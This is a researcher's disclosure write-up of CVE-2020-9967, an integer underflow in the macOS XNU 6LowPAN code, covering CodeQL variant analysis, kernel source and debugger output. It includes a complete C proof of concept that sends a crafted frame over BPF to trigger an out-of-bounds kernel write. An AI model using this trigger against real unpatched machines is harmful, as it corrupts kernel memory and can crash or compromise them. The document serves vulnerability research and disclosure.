CVE-2020-9967 - Apple macOS 6LowPAN Vulnerability

Alex Plaskett · December 22, 2020

Inspired by Kevin Backhouse’s great work on finding XNU remote vulnerabilities I decided to spend some time looking at CodeQL and performing some variant analysis. This lead to the discovery of a local root to kernel (although documented by Apple as remote) vulnerability within the 6LowPAN code of macOS 10.15.4.

The issue was reported to Apple on the 11th of May 2020.

This issue was assigned CVE-2020-9967 and the fix included within the following security update:

On the 5th of December 2020, Apple stated that the CVE had been published for all applicable platforms.

Bug Discovery

In XNU, inbound and outbound network packets are stored within a unit of memory management called an mbuf. The data is typically read or written to mbuf’s by the OS’s networking stack code.

My thought process was that I could define a simple taint tracking query to find any untrusted sources of network data (the source) which would end up tainting the size argument of a memory copying operation (the sink). I initially started by modifying the query from here to look for the source m_mtod and the sink builtin___memcpy_chk. This lead to no results being found. However, within XNU bcopy is used quite heavily, this ends up as builtin___memmove_chk so the query was modified as follows:

import cpp
import semmle.code.cpp.dataflow.TaintTracking
import DataFlow::PathGraph
import semmle.code.cpp.rangeanalysis.SimpleRangeAnalysis

class Config extends TaintTracking::Configuration {
  Config() { this = "sixlowpan_flow" }

  override predicate isSource(DataFlow::Node source) {
    source.asExpr().(FunctionCall).getTarget().getName() = "m_mtod"
  }

  override predicate isSink(DataFlow::Node sink) {
    exists (FunctionCall call
    | call.getArgument(2) = sink.asExpr() and
      call.getTarget().getName() = "__builtin___memmove_chk" )
  }
}

from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "memmove with tainted size."

Running this query gave me about 15 results with the vulnerability I identified being one of them.

Looking through the results I identified this this flow worthy of manual investigation:

1	call to m_mtod 	if_6lowpan.c:623:2
2	len 	if_6lowpan.c:663:41
3	ref arg & ... [payload_len] 	if_6lowpan.c:663:46
4	& ... [payload_len] 	if_6lowpan.c:666:19
5	ieee02154hdr [payload_len] 	sixxlowpan.c:882:38
6	ieee02154hdr [payload_len] 	sixxlowpan.c:886:32
7	ieee02154hdr [payload_len] 	sixxlowpan.c:819:43
8	ieee02154hdr [payload_len] 	sixxlowpan.c:855:7
9	payload_len 	sixxlowpan.c:855:21
10	... - ... 	sixxlowpan.c:855:7

This demonstrates the power of having customised CodeQL queries available for a code base to identify common bug patterns.

Before I dive into the vulnerability I found here, it helps to have some background of 6LowPAN.

6LowPAN

It turns out as part of macOS Catalina 10.15, Apple quietly introduced support for 6LowPAN 6LowPAN and IEEE 802.15.4 into the XNU kernel. Any substantial changes introduced into xnu warrant investigation as those are likely source of new vulnerabilities being introduced. 6LowPAN stands for “IPv6 over Low-Power Wireless Persona Area Networks”, which as implied by the name is a networking technology which allows IPv6 packets to be effectively carried within small link layer frames such as IEEE 802.15.4.

The relevant RFCs for this protocol are RFC4944, RFC6282 and RFC6775.

To give some background, IEEE 802.15.4 is the standard which defines the operation of low-rate wireless personal area networks (LR-WPAN) and specifies the physical layer and media access layer for LR-WPANs. 6LowPAN extends that standard by providing the upper layers not defined in 802.15.4. A popular IoT protocol Thread makes use of 6LowPAN, which incidentally Apple joined the Thread Working Group in 2018… :).

In the context of the XNU kernel sources, frame802154.c contains the implementation of 802.15.4 frame creation and parsing. if_6lowpan.c contains the code related to a 6LowPAN network interface and sixlowpan.c the 6LowPAN compression and uncompression. Large parts of this have been taken from the Contiki OS with Apple modifications and wrapper code.

There is no public documentation on this and the only public mention is regarding Thread HomePod mini.

IEEE 802.15.4 Frame Format

Layer 2 (the MAC layer within the stack) is defined within IEEE Std 802.15.4-2015 in the ‘General MAC Frame Format’ section 7.2:

802.15.4 Frame

The frame control field is as follows:

802.15.4 FCF

IPv6 packets MUST be carried on data frames. These details will be important when we discuss the parsing of this within the XNU codebase in the “Vulnerability Section”. One the frame has been parsed to determine the header, then the payload section is handled.

LoWPAN Payload

Due to a full IPv6 packet not fitting within a IEEE 802.15.4 frame, an adaptation layer must be provided to comply with the IPv6 requirements of a minimum MTU. The standard also defines the the use of header compression, as it is expected that most applications will use IP over IEEE 802.15.4

The LoWPAN payload (e.g., an IPv6 packet) thus follows the encapsulation header as described above.

Its worth keeping in mind that an IPv6 header is 40 octets long too.

In the initial standard, LOWPAN_HC1 compressed IPv6 datagrams are defined. This means that 6LowPAN payloads are compressed when recieved. This too will be an important observation when understanding the vulnerablity.

The question is, how do we get 6LowPAN frames to an Apple device and will they be handled automatically? Digging into the code we can see the ability for the data link layer to dispatch frames of this type.

Initially we can send an ethernet packet which will be handled by the demux function:

int
ether_demux(ifnet_t ifp, mbuf_t m, char *frame_header,
    protocol_family_t *protocol_family)
{
	struct ether_header *eh = (struct ether_header *)(void *)frame_header;
	u_short  ether_type = eh->ether_type;
	u_int16_t type;
	u_int8_t *data;
	u_int32_t i = 0;
	struct ether_desc_blk_str *desc_blk =
	    (struct ether_desc_blk_str *)ifp->if_family_cookie;
	u_int32_t maxd = desc_blk ? desc_blk->n_max_used : 0;
	struct en_desc  *ed = desc_blk ? desc_blk->block_ptr : NULL;
	u_int32_t extProto1 = 0;
	u_int32_t extProto2 = 0;

	if (eh->ether_dhost[0] & 1) {
		/* Check for broadcast */
		if (_ether_cmp(etherbroadcastaddr, eh->ether_dhost) == 0) {
			m->m_flags |= M_BCAST;
		} else {
			m->m_flags |= M_MCAST;
		}
	}

	if (m->m_flags & M_HASFCS) {
		/*
		 * If the M_HASFCS is set by the driver we want to make sure
		 * that we strip off the trailing FCS data before handing it
		 * up the stack.
		 */
		m_adj(m, -ETHER_CRC_LEN);
		m->m_flags &= ~M_HASFCS;
	}

	if ((eh->ether_dhost[0] & 1) == 0) {
		/*
		 * When the driver is put into promiscuous mode we may receive
		 * unicast frames that are not intended for our interfaces.
		 * They are marked here as being promiscuous so the caller may
		 * dispose of them after passing the packets to any interface
		 * filters.
		 */
		if (_ether_cmp(eh->ether_dhost, IF_LLADDR(ifp))) {
			m->m_flags |= M_PROMISC;
		}
	}

	/* check for IEEE 802.15.4 */
	if (ether_type == htons(ETHERTYPE_IEEE802154)) {
		*protocol_family = PF_802154;
		return 0;
	}

If the ether_type within the ethernet header is ETHERTYPE_IEEE802154, then we will set our protocol_family to PF_802154.

Now in the default configuration, this protocol_family will not be handled unless a 6lowpan interface is configured which results in the following code registering a function sixlowpan_input which will be called when processing an 802.15.4 frame.

/*
 * Function: sixlowpan_attach_protocol
 * Purpose:
 *   Attach a DLIL protocol to the interface
 *	 The ethernet demux actually special cases 802.15.4.
 *	 The demux here isn't used. The demux will return PF_802154 for the
 *	 appropriate packets and our sixlowpan_input function will be called.
 */
static int
sixlowpan_attach_protocol(struct ifnet *ifp)
{
	int     error;
	struct ifnet_attach_proto_param reg;

	bzero(&reg, sizeof(reg));
	reg.input            = sixlowpan_input;
	reg.detached         = sixlowpan_detached;
	error = ifnet_attach_protocol(ifp, PF_802154, &reg);
	if (error) {
		printf("%s(%s%d) ifnet_attach_protocol failed, %d\n",
		    __func__, ifnet_name(ifp), ifnet_unit(ifp), error);
	}
	return error;
}

Vulnerability Details

OK, now that we finally have the background information out of way, I will describe the vulnerability found. The sixlowpan_input function is called to decapsulate the 802.15.4 Data Frame as follows:

/*
 * 6lowpan input routine.
 * Decapsulate the 802.15.4 Data Frame
 * Header decompression on the payload
 * Pass the mbuf to the IPV6 protocol stack using proto_input()
 */
static int
sixlowpan_input(ifnet_t p, __unused protocol_family_t protocol,
    mbuf_t m, __unused char *frame_header)
{
	frame802154_t      ieee02154hdr;
	u_int8_t           *payload = NULL;
	if6lpan_ref        ifl = NULL;
	bpf_packet_func    bpf_func;
	mbuf_t mc, m_temp;
	int off, err = 0;
	u_int16_t len;

	/* Allocate an mbuf cluster for the 802.15.4 frame and uncompressed payload */
	mc = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	if (mc == NULL) {
		err = -1;
		goto err_out;
	}

	memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t));
	len = ntohs(len);         			// This is the size read from the frame on the wire. 
	m_adj(m, sizeof(u_int16_t));
	/* Copy the compressed 802.15.4 payload from source mbuf to allocated cluster mbuf */
	for (m_temp = m, off = 0; m_temp != NULL; m_temp = m_temp->m_next) {
		if (m_temp->m_len > 0) {
			m_copyback(mc, off, m_temp->m_len, mtod(m_temp, void *));
			off += m_temp->m_len;
		}
	}

	p = p_6lowpan_ifnet;
	mc->m_pkthdr.rcvif = p;

	sixlowpan_lock();
	ifl = ifnet_get_if6lpan_retained(p);

	if (ifl == NULL) {
		sixlowpan_unlock();
		err = -1;
		goto err_out;
	}

	if (if6lpan_flags_ready(ifl) == 0) {
		if6lpan_release(ifl);
		sixlowpan_unlock();
		err = -1;
		goto err_out;
	}

	bpf_func = ifl->if6lpan_bpf_input;
	sixlowpan_unlock();
	if6lpan_release(ifl);

	if (bpf_func) {
		bpf_func(p, mc);
	}

	/* Parse the 802.15.4 frame header */
	bzero(&ieee02154hdr, sizeof(ieee02154hdr));
	frame802154_parse(mtod(mc, uint8_t *), len, &ieee02154hdr, &payload);

	/* XXX Add check for your link layer address being dest */
	sixxlowpan_input(&ieee02154hdr, payload);

Firstly, m_getcl allocates an mbuf cluster mc for the incoming 802.15.4 frame and uncompressed payload.

Cluster mbuf’s are 2048 bytes in size MCLBYTES. Data larger than this is copied into multiple mbuf’s chained together.

As you can see here, len is read from the incoming mbuf m and is fully attacker controlled.

m_adj is then used to trim these 2 bytes from the head of the mbuf chain.

The compressed 802.15.4 payload is then copied from source mbuf m to allocated cluster mbuf mc.

The data pointer to the cluster mbuf is then passed to frame802154_parse together with the attacker controlled len value.

This has some obvious problems such as what if the data within the mbuf is less than the length of the frame within mc.

/*----------------------------------------------------------------------------*/
/**
 *   \brief Parses an input frame.  Scans the input frame to find each
 *   section, and stores the information of each section in a
 *   frame802154_t structure.
 *
 *   \param data The input data from the radio chip.
 *   \param len The size of the input data
 *   \param pf The frame802154_t struct to store the parsed frame information.
 */
int
frame802154_parse(uint8_t *data, int len, frame802154_t *pf, uint8_t **payload)
{
	uint8_t *p;
	frame802154_fcf_t fcf;
	int c;
#if LLSEC802154_USES_EXPLICIT_KEYS
	uint8_t key_id_mode;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */

	if (len < 3) {
		return 0;
	}

	p = data;

	/* decode the FCF */
	fcf.frame_type = p[0] & 7;
	fcf.security_enabled = (p[0] >> 3) & 1;
	fcf.frame_pending = (p[0] >> 4) & 1;
	fcf.ack_required = (p[0] >> 5) & 1;
	fcf.panid_compression = (p[0] >> 6) & 1;

	fcf.dest_addr_mode = (p[1] >> 2) & 3;
	fcf.frame_version = (p[1] >> 4) & 3;
	fcf.src_addr_mode = (p[1] >> 6) & 3;

	/* copy fcf and seqNum */
	memcpy(&pf->fcf, &fcf, sizeof(frame802154_fcf_t));
	pf->seq = p[2];
	p += 3;                             /* Skip first three bytes */

	/* Destination address, if any */
	if (fcf.dest_addr_mode) {
		/* Destination PAN */
		pf->dest_pid = p[0] + (p[1] << 8);
		p += 2;

		/* Destination address */
		/*     l = addr_len(fcf.dest_addr_mode); */
		/*     for(c = 0; c < l; c++) { */
		/*       pf->dest_addr.u8[c] = p[l - c - 1]; */
		/*     } */
		/*     p += l; */
		if (fcf.dest_addr_mode == FRAME802154_SHORTADDRMODE) {
			linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
			pf->dest_addr[0] = p[1];
			pf->dest_addr[1] = p[0];
			p += 2;
		} else if (fcf.dest_addr_mode == FRAME802154_LONGADDRMODE) {
			for (c = 0; c < 8; c++) {
				pf->dest_addr[c] = p[7 - c];
			}
			p += 8;
		}
	} else {
		linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->dest_addr), &linkaddr_null);
		pf->dest_pid = 0;
	}

	/* Source address, if any */
	if (fcf.src_addr_mode) {
		/* Source PAN */
		if (!fcf.panid_compression) {
			pf->src_pid = p[0] + (p[1] << 8);
			p += 2;
		} else {
			pf->src_pid = pf->dest_pid;
		}

		/* Source address */
		/*     l = addr_len(fcf.src_addr_mode); */
		/*     for(c = 0; c < l; c++) { */
		/*       pf->src_addr.u8[c] = p[l - c - 1]; */
		/*     } */
		/*     p += l; */
		if (fcf.src_addr_mode == FRAME802154_SHORTADDRMODE) {
			linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
			pf->src_addr[0] = p[1];
			pf->src_addr[1] = p[0];
			p += 2;
		} else if (fcf.src_addr_mode == FRAME802154_LONGADDRMODE) {
			for (c = 0; c < 8; c++) {
				pf->src_addr[c] = p[7 - c];
			}
			p += 8;
		}
	} else {
		linkaddr_copy((linkaddr_t *)(uintptr_t)&(pf->src_addr), &linkaddr_null);
		pf->src_pid = 0;
	}

#if LLSEC802154_SECURITY_LEVEL
	if (fcf.security_enabled) {
		pf->aux_hdr.security_control.security_level = p[0] & 7;
#if LLSEC802154_USES_EXPLICIT_KEYS
		pf->aux_hdr.security_control.key_id_mode = (p[0] >> 3) & 3;
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
		p += 1;

		memcpy(pf->aux_hdr.frame_counter.u8, p, 4);
		p += 4;

#if LLSEC802154_USES_EXPLICIT_KEYS
		key_id_mode = pf->aux_hdr.security_control.key_id_mode;
		if (key_id_mode) {
			c = (key_id_mode - 1) * 4;
			memcpy(pf->aux_hdr.key_source.u8, p, c);
			p += c;
			pf->aux_hdr.key_index = p[0];
			p += 1;
		}
#endif /* LLSEC802154_USES_EXPLICIT_KEYS */
	}
#endif /* LLSEC802154_SECURITY_LEVEL */

	/* header length */
	c = p - data;
	/* payload length */
	pf->payload_len = (len - c);
	/* payload */
	*payload = p;

	/* return header length if successful */
	return c > len ? 0 : c;
}


/** \brief Parameters used by the frame802154_create() function.  These
 *  parameters are used in the 802.15.4 frame header.  See the 802.15.4
 *  specification for details.
 */
struct frame802154 {
	/* The fields dest_addr and src_addr must come first to ensure they are aligned to the
	 * CPU word size. Needed as they are accessed directly as linkaddr_t*. Note we cannot use
	 * the type linkaddr_t directly here, as we always need 8 bytes, not LINKADDR_SIZE bytes. */
	uint8_t dest_addr[8];           /**< Destination address */
	uint8_t src_addr[8];            /**< Source address */
	frame802154_fcf_t fcf;          /**< Frame control field  */
	uint8_t seq;                    /**< Sequence number */
	uint16_t dest_pid;              /**< Destination PAN ID */
	uint16_t src_pid;               /**< Source PAN ID */
	frame802154_aux_hdr_t aux_hdr;  /**< Aux security header */
	//uint8_t *payload;               /**< Pointer to 802.15.4 payload */
	int payload_len;                /**< Length of payload field */
};
typedef struct frame802154 frame802154_t;

There are some key observations to make about this function and caller:

  • If len < 3, then the function will return 0 and not initialize the payload pointer (i.e. will be a NULL pointer).
  • The return value of frame802154_parse is not checked. This could therefore lead to situtations where header length > payload.
  • As we can control len between the values of 0-0xffff, we can make either pf->payload_len negative (to -header_len), smaller than the expected size or larger than the size of the input data itself in mc.

So what happens in these cases?

errno_t
sixxlowpan_input(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
	errno_t error = 0;

	error = sixxlowpan_uncompress(ieee02154hdr, payload);
	if (error != 0) {
		goto done;
	}

	/*
	 * TO DO: fragmentation
	 */

done:
	return error;
}

The payload is then uncompressed:

errno_t
sixxlowpan_uncompress(struct frame802154 *ieee02154hdr, u_int8_t *payload)
{
	long hdroffset;
	size_t hdrlen;
	u_int8_t hdrbuf[128];
	errno_t error;

	bzero(hdrbuf, sizeof(hdrbuf));
	hdrlen = sizeof(hdrbuf);

	error = uncompress_hdr_hc1(ieee02154hdr, (u_int8_t *)payload,
	    0, &hdroffset, &hdrlen, hdrbuf);

	if (error != 0) {
		return error;
	}

	if (hdroffset < 0) {
		/*
		 * hdroffset negative means that we have to remove
		 * hdrlen of extra stuff
		 */
		memmove(&payload[0],
		    &payload[hdrlen],
		    ieee02154hdr->payload_len - hdrlen);
		ieee02154hdr->payload_len -= hdrlen;
	} else {
		/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */
		memmove(payload + hdrlen,
		    payload + hdroffset,
		    ieee02154hdr->payload_len - hdroffset);
		memcpy(payload, hdrbuf, hdrlen);
		ieee02154hdr->payload_len += hdrlen - hdroffset;
	}

	return 0;
}

Looking at the uncompression function:


/*--------------------------------------------------------------------*/
/**
 * \brief Uncompress HC1 (and HC_UDP) headers and put them in
 * sicslowpan_buf
 *
 * This function is called by the input function when the dispatch is
 * HC1.
 * We %process the packet in the packetbuf buffer, uncompress the header
 * fields, and copy the result in the sicslowpan buffer.
 * At the end of the decompression, packetbuf_hdr_len and uncompressed_hdr_len
 * are set to the appropriate values
 *
 * \param ip_len Equal to 0 if the packet is not a fragment (IP length
 * is then inferred from the L2 length), non 0 if the packet is a 1st
 * fragment.
 */
errno_t
uncompress_hdr_hc1(struct frame802154 *frame, u_int8_t *payload,
    uint16_t ip_len, long *hdroffset, size_t *hdrlen, u_int8_t *hdrbuf)
{
	struct ip6_hdr *ip6 = (struct ip6_hdr *)hdrbuf;

	if (payload[PACKETBUF_HC1_DISPATCH] == SICSLOWPAN_DISPATCH_IPV6) {
		*hdroffset = -SICSLOWPAN_IPV6_HDR_LEN;
		*hdrlen = SICSLOWPAN_IPV6_HDR_LEN;
		return 0;
	}

	*hdroffset = 0;

	/* version, traffic class, flow label */
	ip6->ip6_flow = 0;
	ip6->ip6_vfc = IPV6_VERSION;

	/* src and dest ip addresses */
	uip_ip6addr_u8(&ip6->ip6_src, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
	uip_ds6_set_addr_iid(&ip6->ip6_src,
	    (uip_lladdr_t *)frame->src_addr);

	uip_ip6addr_u8(&ip6->ip6_dst, 0xfe, 0x80, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0);
	uip_ds6_set_addr_iid(&ip6->ip6_dst,
	    (uip_lladdr_t *)frame->dest_addr);

	*hdrlen = UIP_IPH_LEN;

	/* Next header field */
	switch (payload[PACKETBUF_HC1_ENCODING] & 0x06) {
	case SICSLOWPAN_HC1_NH_ICMP6:
		ip6->ip6_nxt = IPPROTO_ICMPV6;
		ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
		*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		break;

	case SICSLOWPAN_HC1_NH_TCP:
		ip6->ip6_nxt = IPPROTO_TCP;
		ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
		*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		break;

	case SICSLOWPAN_HC1_NH_UDP:
		ip6->ip6_nxt = IPPROTO_UDP;
		if (payload[PACKETBUF_HC1_HC_UDP_HC1_ENCODING] & 0x01) {
			struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

			/* UDP header is compressed with HC_UDP */
			if (payload[PACKETBUF_HC1_HC_UDP_UDP_ENCODING] !=
			    SICSLOWPAN_HC_UDP_ALL_C) {
				printf("sicslowpan (uncompress_hdr), packet not supported");
				return EINVAL;
			}
			/* IP TTL */

			ip6->ip6_hlim = payload[PACKETBUF_HC1_HC_UDP_TTL];
			/* UDP ports, len, checksum */
			udp->uh_sport =
			    htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] >> 4));
			udp->uh_dport =
			    htons(SICSLOWPAN_UDP_PORT_MIN + (payload[PACKETBUF_HC1_HC_UDP_PORTS] & 0x0F));

			memcpy(&udp->uh_sum, &payload[PACKETBUF_HC1_HC_UDP_CHKSUM], 2);
			*hdrlen += UIP_UDPH_LEN;
			*hdroffset = SICSLOWPAN_HC1_HC_UDP_HDR_LEN;
		} else {
			ip6->ip6_hlim = payload[PACKETBUF_HC1_TTL];
			*hdroffset = SICSLOWPAN_HC1_HDR_LEN;
		}
		break;

	default:
		/* this shouldn't happen, drop */
		return EINVAL;
	}

	/* IP length field. */
	if (ip_len == 0) {
		size_t len = frame->payload_len - *hdroffset + *hdrlen - sizeof(struct ip6_hdr);

		/* This is not a fragmented packet */
		SET16(&ip6->ip6_plen, len);
	} else {
		/* This is a 1st fragment */
		SET16(&ip6->ip6_plen, ip_len - UIP_IPH_LEN);
	}
	/* length field in UDP header */
	if (ip6->ip6_nxt == IPPROTO_UDP) {
		struct udphdr *udp = (struct udphdr *)(uintptr_t)ip6;

		memcpy(&udp->uh_ulen, &ip6->ip6_plen, 2);
	}
	return 0;
}

We can observe the following with this function:

  1. It expects that there will always be at least 40 bytes IPv6 header *hdrlen available within the mbuf.
  2. It does not expect the payload size to be less than the header.
  3. ip_len is always 0.

If we ignore all the potential out of bound reads :), we can use this issue for the following out of bound writes:

  • An underflow in len leading to a huge value being passed to memmove (wild write).

Therefore if we set the len of the frame received to be 0x4 we end up with the following values being calculated in frame802154_parse:

c header length = 3 frame->payload_len = 1

We can then see that by setting SICSLOWPAN_HC1_NH_UDP we end up with the following values in uncompress_hdr_hc1:

*hdroffset = SICSLOWPAN_HC1_HDR_LEN; i.e *hdroffset = 3

*hdrlen = UIP_IPH_LEN; i.e. *hdrlen = 40

sizeof(struct ip6_hdr) = 40

Therefore, when we return back to sixxlowpan_uncompress function:

	/*
		 * hdroffset is the size of the compressed header
		 * -- i.e. when the untouched data starts
		 *
		 * hdrlen is the size of the decompressed header
		 * that takes the place of compressed header of size hdroffset
		 */
		memmove(payload + hdrlen,
		    payload + hdroffset,
		    ieee02154hdr->payload_len - hdroffset);
		memcpy(payload, hdrbuf, hdrlen);

We have a write at payload + 40 (in the mc mbuf cluster, of data controlled by an attacker from the source payload buffer, of ieee02154hdr->payload_len - 3 = -2 length.

POC 1 - Underflow

/***

Apple XNU 6LowPAN POC
Catalina 10.15.4

POC 1: Wild memmove trigger with an underflow. 

Run this on target machine (or local system if testing locally):
sudo ifconfig 6lowpan create
sudo ifconfig 6lowpan0 up
sudo ifconfig 6lowpan0 6lowpansetdev en0

***/

#include <sys/types.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/bpf.h>

// Set these to source and target 
unsigned char dest_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};
unsigned char src_mac[ETHER_ADDR_LEN]  = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00};

struct frame_t {
	struct ether_header header;
	unsigned char payload[ETHER_MAX_LEN - ETHER_HDR_LEN];
	ssize_t len;
	ssize_t payload_len;
};

// Open bpf device
int open_bpf_device()
{
	char buf[11] = {};
	int bpf = 0;
	for(int i = 0; i < 99; i++)
	{
		sprintf(buf,"/dev/bpf%i",i);
		bpf = open(buf,O_RDWR);
		if( bpf != -1 ) {
			printf("Opened device /dev/bpf%i\n", i);
			break; 
		}
	}
	if(bpf == -1) {
		printf("Cannot open any /dev/bpf* device, exiting\n");
		exit(1); 
	}
	return bpf; 
}

// Associate device
void assoc_dev(int bpf, char* interface)
{
	struct ifreq bound_if;
	strcpy(bound_if.ifr_name, interface);
	if(ioctl( bpf, BIOCSETIF, &bound_if ) > 0) {
		printf("Cannot bind bpf device to physical device %s, exiting\n", interface);
		exit(1);
	}
	printf("Bound bpf device to physical device %s\n", interface);
}

// Write trigger frame
void write_single_frame(int bpf) 
{
	ssize_t data_length = 32;

	struct frame_t frame;
	memcpy(frame.header.ether_dhost, dest_mac, ETHER_HDR_LEN);
	memcpy(frame.header.ether_shost, src_mac, ETHER_HDR_LEN);

	//  802.15.4 frame type. 
	frame.header.ether_type = 0x908;
	frame.len = (2*ETHER_ADDR_LEN) + ETHER_TYPE_LEN + data_length;

	// Length of frame - memcpy(&len, mtod(m, u_int8_t *), sizeof(u_int16_t)); len = ntohs(len);
	frame.payload[0] = 0;
	frame.payload[1] = 4;

	// This is the start of the "data" passed to frame802154_parse and considered frame header 
	// m_adj(m, sizeof(u_int16_t)); mtod(mc, uint8_t *)
	// These are used for the FCF (no flags set)
	frame.payload[2] = 0;
	frame.payload[3] = 0;
	frame.payload[4] = 0;

	// As none FCF are set p+=3 bytes. 
	// header length
	// c = p - data;
	// c = 3
	// payload length
	// pf->payload_len = (4 - 3);
	// pf->payload_len = 1

	// This is the start of our payload passed to sixxlowpan_uncompress
	frame.payload[5] = 0;
	frame.payload[6] = 2; // SICSLOWPAN_HC1_NH_UDP

	// Just pad the frame with 'A'. 
	for (int j = 7; j < 32; j++) {
		frame.payload[j] = 0x41;
    } 

    ssize_t bytes_sent;
    bytes_sent = write(bpf, &frame, frame.len);
    if(bytes_sent > 0) {
    	printf("Bytes sent: %ld\n", bytes_sent);
    } else {
    	perror("Error sending frame");
    	exit(1);
    }
}

int main(int argc, char *argv[])
{
	char* interface = "en0";

	int bpf;
	bpf = open_bpf_device();
	assoc_dev(bpf, interface);
	write_single_frame(bpf);

	return 0; 
}  

In the POC 1 code below I have caused 1 - 3 = -2 to trigger a huge write to make the issue obvious to spot.

We can confirm this with the following debug output:

(lldb) disas
kernel`sixxlowpan_uncompress:
    0xffffff8003ffa0b0 <+0>:   push   rbp
    0xffffff8003ffa0b1 <+1>:   mov    rbp, rsp
    0xffffff8003ffa0b4 <+4>:   push   r15
    0xffffff8003ffa0b6 <+6>:   push   r14
    0xffffff8003ffa0b8 <+8>:   push   r13
    0xffffff8003ffa0ba <+10>:  push   r12
    0xffffff8003ffa0bc <+12>:  push   rbx
    0xffffff8003ffa0bd <+13>:  sub    rsp, 0x98
    0xffffff8003ffa0c4 <+20>:  mov    r15, rsi
    0xffffff8003ffa0c7 <+23>:  mov    r14, rdi
    0xffffff8003ffa0ca <+26>:  lea    rax, [rip + 0x4a1f9f]     ; __stack_chk_guard
    0xffffff8003ffa0d1 <+33>:  mov    rax, qword ptr [rax]
    0xffffff8003ffa0d4 <+36>:  mov    qword ptr [rbp - 0x30], rax
    0xffffff8003ffa0d8 <+40>:  int3   
    0xffffff8003ffa0d9 <+41>:  mov    dword ptr [rbp - 0xc0], 0x0
    0xffffff8003ffa0e3 <+51>:  mov    qword ptr [rbp - 0x38], 0x0
    0xffffff8003ffa0eb <+59>:  mov    qword ptr [rbp - 0x40], 0x0
    0xffffff8003ffa0f3 <+67>:  mov    qword ptr [rbp - 0x48], 0x0
    0xffffff8003ffa0fb <+75>:  mov    qword ptr [rbp - 0x50], 0x0
    0xffffff8003ffa103 <+83>:  mov    qword ptr [rbp - 0x58], 0x0
    0xffffff8003ffa10b <+91>:  mov    qword ptr [rbp - 0x60], 0x0
    0xffffff8003ffa113 <+99>:  mov    qword ptr [rbp - 0x68], 0x0
    0xffffff8003ffa11b <+107>: mov    qword ptr [rbp - 0x70], 0x0
    0xffffff8003ffa123 <+115>: mov    qword ptr [rbp - 0x78], 0x0
    0xffffff8003ffa12b <+123>: mov    qword ptr [rbp - 0x80], 0x0
    0xffffff8003ffa133 <+131>: mov    qword ptr [rbp - 0x88], 0x0
    0xffffff8003ffa13e <+142>: mov    qword ptr [rbp - 0x90], 0x0
    0xffffff8003ffa149 <+153>: mov    qword ptr [rbp - 0x98], 0x0
    0xffffff8003ffa154 <+164>: mov    qword ptr [rbp - 0xa0], 0x0
    0xffffff8003ffa15f <+175>: mov    qword ptr [rbp - 0xa8], 0x0
    0xffffff8003ffa16a <+186>: mov    qword ptr [rbp - 0xb0], 0x0
    0xffffff8003ffa175 <+197>: lea    rbx, [rbp - 0xb0]
    0xffffff8003ffa17c <+204>: mov    esi, 0x80
    0xffffff8003ffa181 <+209>: mov    rdi, rbx
    0xffffff8003ffa184 <+212>: call   0xffffff80039980f0        ; bzero

    0xffffff8003ffa189 <+217>: mov    qword ptr [rbp - 0xb8], 0x80
    0xffffff8003ffa194 <+228>: lea    rcx, [rbp - 0xc0]
    0xffffff8003ffa19b <+235>: lea    r8, [rbp - 0xb8]
    0xffffff8003ffa1a2 <+242>: mov    rdi, r14
    0xffffff8003ffa1a5 <+245>: mov    rsi, r15
    0xffffff8003ffa1a8 <+248>: xor    edx, edx
    0xffffff8003ffa1aa <+250>: mov    r9, rbx
    0xffffff8003ffa1ad <+253>: call   0xffffff8003ff9d70        ; uncompress_hdr_hc1 at sixxlowpan.c:679

    0xffffff8003ffa1b2 <+258>: mov    ebx, eax
    0xffffff8003ffa1b4 <+260>: test   eax, eax
    0xffffff8003ffa1b6 <+262>: jne    0xffffff8003ffa210        ; <+352> at sixxlowpan.c
    0xffffff8003ffa1b8 <+264>: mov    r13, qword ptr [rbp - 0xc0]
    0xffffff8003ffa1bf <+271>: mov    r12, qword ptr [rbp - 0xb8]
    0xffffff8003ffa1c6 <+278>: lea    rsi, [r15 + r12]
    0xffffff8003ffa1ca <+282>: test   r13, r13                  
    0xffffff8003ffa1cd <+285>: js     0xffffff8003ffa1fa        ; <+330> at sixxlowpan.c:841:3

    0xffffff8003ffa1cf <+287>: lea    rdi, [r15 + r13]
    0xffffff8003ffa1d3 <+291>: movsxd rdx, dword ptr [r14 + 0x34]
    0xffffff8003ffa1d7 <+295>: int3   
    0xffffff8003ffa1d8 <+296>: sub    edx, ebp
->  0xffffff8003ffa1da <+298>: call   0xffffff8003998070        ; bcopy


(lldb) register read 
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000000000
       rcx = 0xffffff80669e3d28
       rdx = 0xfffffffffffffffe
       rdi = 0xffffff80602e1806
       rsi = 0xffffff80602e182b
       rbp = 0xffffff80669e3cf0
       rsp = 0xffffff80669e3c30
        r8 = 0xffffff80669e3c38
        r9 = 0xffffff80669e3c40
       r10 = 0x0000000000000000
       r11 = 0x0000000000000003
       r12 = 0x0000000000000028
